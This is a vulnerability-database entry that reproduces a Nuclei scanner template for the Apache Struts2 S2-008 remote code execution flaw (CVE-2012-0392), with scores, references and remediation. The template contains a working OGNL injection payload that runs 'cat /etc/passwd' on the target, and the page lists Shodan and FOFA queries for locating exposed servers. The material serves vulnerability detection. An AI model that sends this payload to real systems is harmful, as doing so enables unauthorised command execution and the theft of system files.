Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2012-0392
HistoryFeb 21, 2021 - 1:59 p.m.

Apache Struts2 S2-008 RCE

2021-02-2113:59:42
ProjectDiscovery
github.com
38
cve
cve2012
apache
rce
struts
java
edb

CVSS2

6.8

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

AI Score

9.7

Confidence

High

EPSS

0.97

Percentile

99.8%

The CookieInterceptor component in Apache Struts before 2.3.1.1 does not use the parameter-name whitelist, which allows remote attackers to execute arbitrary commands via a crafted HTTP Cookie header that triggers Java code execution through a static method.

id: CVE-2012-0392

info:
  name: Apache Struts2 S2-008 RCE
  author: pikpikcu
  severity: medium
  description: The CookieInterceptor component in Apache Struts before 2.3.1.1 does not use the parameter-name whitelist, which allows remote attackers to execute arbitrary commands via a crafted HTTP Cookie header that triggers Java code execution through a static method.
  impact: |
    Successful exploitation of this vulnerability can lead to remote code execution on the affected server.
  remediation: Developers should immediately upgrade to at least Struts 2.3.18.
  reference:
    - https://cwiki.apache.org/confluence/display/WW/S2-008 https://blog.csdn.net/weixin_43416469/article/details/113850545
    - http://www.exploit-db.com/exploits/18329
    - https://lists.immunityinc.com/pipermail/dailydave/2012-January/000011.html
    - http://web.archive.org/web/20150110183326/http://secunia.com:80/advisories/47393
    - http://struts.apache.org/2.x/docs/s2-008.html
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2012-0392
    cwe-id: NVD-CWE-noinfo
    epss-score: 0.96232
    epss-percentile: 0.99521
    cpe: cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: struts
    shodan-query:
      - http.html:"apache struts"
      - http.title:"struts2 showcase"
      - http.html:"struts problem report"
    fofa-query:
      - body="struts problem report"
      - title="struts2 showcase"
      - body="apache struts"
    google-query: intitle:"struts2 showcase"
  tags: cve,cve2012,apache,rce,struts,java,edb

http:
  - method: GET
    path:
      - "{{BaseURL}}/devmode.action?debug=command&expression=(%23_memberAccess[%22allowStaticMethodAccess%22]%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean(%22false%22)%20%2C%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D%23foo%[email protected]@toString(@java.lang.Runtime@getRuntime().exec(%27cat%20/etc/passwd%27).getInputStream()))"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502202bbf86e708d5052738152ccb3c3e3644e742d29df19908a2f9e93c4d3b0ae6a7022100edc6714bc5c4a93886c03124896afd2172be7d9ababc019568c20b559bbae879:922c64590222798bb761d5b6d8e72950

CVSS2

6.8

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

AI Score

9.7

Confidence

High

EPSS

0.97

Percentile

99.8%